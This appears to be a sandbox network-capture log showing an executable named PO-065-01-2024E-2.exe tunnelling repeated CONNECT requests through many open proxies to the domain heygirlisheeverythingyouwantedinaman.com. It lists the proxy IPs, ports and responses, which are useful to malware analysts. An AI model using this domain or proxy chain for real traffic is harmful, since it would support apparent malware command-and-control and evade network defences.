Mar 11, 2024 16:40:41.598121881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1722	192.168.2.10	55195	203.112.134.74	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.444004059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.10	55196	103.216.49.233	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.565181017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1724	192.168.2.10	53657	107.180.103.214	13286	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.573391914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.676589012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.676827908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.786973953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.10	51712	190.242.125.186	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.575110912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.598403931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598517895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.598692894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.598208904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.598175049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.10	55036	189.240.60.169	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.575273037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.027194977 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.10	51457	134.35.179.81	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.575333118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.394915104 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 304 Content-Type: text/html Date: Mon, 11 Mar 2024 15:39:59 GMT Expires: Mon, 11 Mar 2024 15:39:59 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.10	51873	5.161.179.239	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.579247952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.676628113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.676845074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.787014961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.785660028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.785650969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:41.785660028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:05.785756111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.10	54978	161.97.163.52	31125	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.579819918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.10	55204	129.213.150.205	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.579854965 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.10	54097	27.219.56.183	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.580461979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.316239119 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.10	54939	92.205.110.47	17158	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.580550909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.598417997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598517895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.10	51681	182.253.153.238	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.583940983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.598444939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.208828926 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.10	53630	109.194.22.61	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.585421085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.10	55151	72.167.222.113	4125	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.594687939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.598459959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.10	54886	117.160.250.163	81	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.610474110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.104587078 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:39:53 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.10	53721	45.81.232.17	59421	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.613204956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.676645041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.676845074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.787014961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.785660982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:41.785629034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:29.785615921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.10	55202	45.11.95.166	6008	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.613854885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398572922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.411128998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.505268097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.599595070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.708177090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.777945042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.10	51822	154.73.29.129	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.615886927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.676687956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.676888943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.787031889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.785712957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.785907030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.10	55180	199.187.210.54	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.630367994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.10	55203	111.90.150.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.641522884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.10	55205	103.166.141.74	20074	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.642052889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.10	55199	175.183.82.221	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.642239094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.504740953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.10	53675	103.78.25.99	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.642674923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.10	51647	103.112.149.41	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.644052982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.676687956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
